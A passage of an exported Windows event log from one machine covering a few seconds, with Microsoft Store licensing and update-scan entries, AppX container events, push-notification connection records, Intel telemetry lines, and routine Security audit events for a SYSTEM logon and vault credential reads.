{\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8011\t0x21f831d39d0: 13732: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"ReactiveLicensingResult: 0x00000000 for A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6, 32ms\nFunction: LogReactiveLicensingResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\telemetry.cpp (512)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"Updating lease timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9} to expire @ 2026-09-05T01:51:27Z (jitter was 21.295341 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"Added timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8011\t0x21f8312b620: 13728: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.763\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:30:09.776\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: \u042f\u043d\u0434\u0435\u043a\u0441.\u041c\u0443\u0437\u0438\u043a\u0430, {071f875e-406c-4938-beaa-65f69cc573e2}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:30:09.785\t1239\tWNP Keep Alive Detector starting KA measurement with value: 1680 seconds; type: Converged; Min Limit: 60 seconds\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.789\t210\tCreated Desktop AppX container {245CDBFE-A8C9-11F1-B7FF-289200F24A99} for package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:09.789\t211\tAdded process 15228 to Desktop AppX container 245cdbfe-a8c9-11f1-b7ff-289200f24a99 for package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:09.800\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.801\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.801\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.803\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:30:09.838\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:30:09.939\t2002\t\"Windows::Services::Store::StoreContextFactory::GetDefault() invoked. (CV:exbuXxFHwECWL3f3.4)\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::StoreContextFactory::GetDefault\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\storecontext.cpp (63)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:30:09.949\t8011\t0x21f83178e90: 13668: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:Connect => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.949\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"6ead4a77-d076-4866-9188-621a5b1f414f\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.949\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.949\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.950\t2002\t\"StoreContextServer::Initialize: packageFullName = Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe, productStoreId = 9NMPJ99VJBWV, isLicensed = true, isAppContainer = false\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::Internal::StoreContextServer::_InitializeImpl\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\windows\\storecontextserver.cpp (1159)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:30:09.950\t2002\t\"Windows::Services::Store::StoreContext::GetAppAndOptionalStorePackageUpdatesAsync invoked. (CV:exbuXxFHwECWL3f3.4.3)\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::StoreContext::GetAppAndOptionalStorePackageUpdatesAsync\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\storecontext.cpp (1403)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:30:09.952\t2002\t\"Adding calling package = Microsoft.YourPhone_8wekyb3d8bbwe for productId = 9NMPJ99VJBWV\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::Internal::StoreContextServer::GetAppAndOptionalStorePackageUpdates\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\windows\\storecontextserver.cpp (3491)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:30:09.987\t2006\t\"request: addAsPaused = true, clientID = PhoneExperienceHost, CV = exbuXxFHwECWL3f3.4.3.1.2\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::SearchForUpdatesWithPausedAddAsync\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (4726)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:09.987\t2006\t\"Checking interactive for update for scan caller: PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync\nError: Unknown HResult Error code: 0xefffffff\nFunction: Utils::IsCallerInteractive\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\utils.cpp (385)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:09.988\t2006\t\"Checking if top-level window is visible for PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync, setting userInteractive = false\nError: Unknown HResult Error code: 0xefffffff\nFunction: Utils::IsCallerInteractive\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\utils.cpp (427)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:09.991\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.991\t2006\t\"Scan allowed inside interval for Microsoft.YourPhone_8wekyb3d8bbwe. Current last scan time cache: 2026-09-04T11:58:29+07:00;2026-09-04T12:02:46+07:00;2026-09-04T16:47:41+07:00;2026-09-05T08:29:25+07:00;2026-09-05T08:30:09+07:00\nError: Unknown HResult Error code: 0xefffffff\nFunction: OnlineScanAllowedInInterval\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\stringhelpers.cpp (479)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:09.993\t2006\t\"Last scan time calculated, setting online = 1\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetIsOnlineScanAllowed\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (2374)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:09.994\t2006\t\"[Telemetry]: BeginScanForUpdates :: _TlgCV_ = exbuXxFHwECWL3f3.4.3.1.2.0.1 \u00a0IsOnline = true \u00a0IsApplicability = false \u00a0ClientAppId = Update;PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync \u00a0IsInteractive = false \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:10.137\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:10.285\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:10.434\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:10.459\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:10.459\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:10.491\t1002\tError 0x80070005 occurred while verifying known folder {62ab5d82-fdc1-4dc3-a9dd-070d1d495d97} with path 'C:\\ProgramData'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:30:10.600\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:10.756\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:10.913\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:11.058\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:11.113\t5382\t\"Vault credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nThis event occurs when a user reads a stored vault credential.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:11.130\t5382\t\"Vault credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nThis event occurs when a user reads a stored vault credential.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:11.197\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:11.333\t8001\t\"Skipping license manager: PFN Microsoft.DesktopAppInstaller_1.29.290.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:11.349\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:11.361\t210\tCreated Desktop AppX container {245CDC17-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.DesktopAppInstaller_1.29.290.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:11.361\t211\tAdded process 16560 to Desktop AppX container 245cdc17-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.DesktopAppInstaller_1.29.290.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:11.511\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:11.663\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:11.787\t217\tDestroyed Desktop AppX container {245CDBFE-A8C9-11F1-B7FF-289200F24A99} for package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:11.817\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:11.957\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:12.103\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:12.249\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:12.498\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:12.636\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:12.782\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:12.858\t2006\t\"WU scan found 0 packages\nError: Unknown HResult Error code: 0xefffffff\nFunction: _PackagesFromSearchResult\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\wuhelpers.cpp (157)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:12.858\t2006\t\"[Telemetry]: EndScanForUpdates :: _TlgCV_ = exbuXxFHwECWL3f3.4.3.1.2.0.1 \u00a0IsOnline = true \u00a0IsApplicability = false \u00a0IsInteractive = false \u00a0ClientAppId = Update;PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync \u00a0NumberOfApplicableUpdates = 0 \u00a0AutoUpdateWorkScheduledWithUOTime =  \u00a0PFN = (null) \u00a0HResult = 0 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:12.858\t2006\t\"No updates found. CategoryIds Count = 1 \u00a0\nError: The operation completed successfully.\nFunction: ScanForMultipleUpdates\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (2138)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:12.860\t2002\t\"Windows::Services::Store::StoreContext::get_CanSilentlyDownloadStorePackageUpdates() invoked. (CV:exbuXxFHwECWL3f3.4.5)\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::StoreContext::get_CanSilentlyDownloadStorePackageUpdates\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\storecontext.cpp (1732)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:30:12.924\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:13.065\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:13.209\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 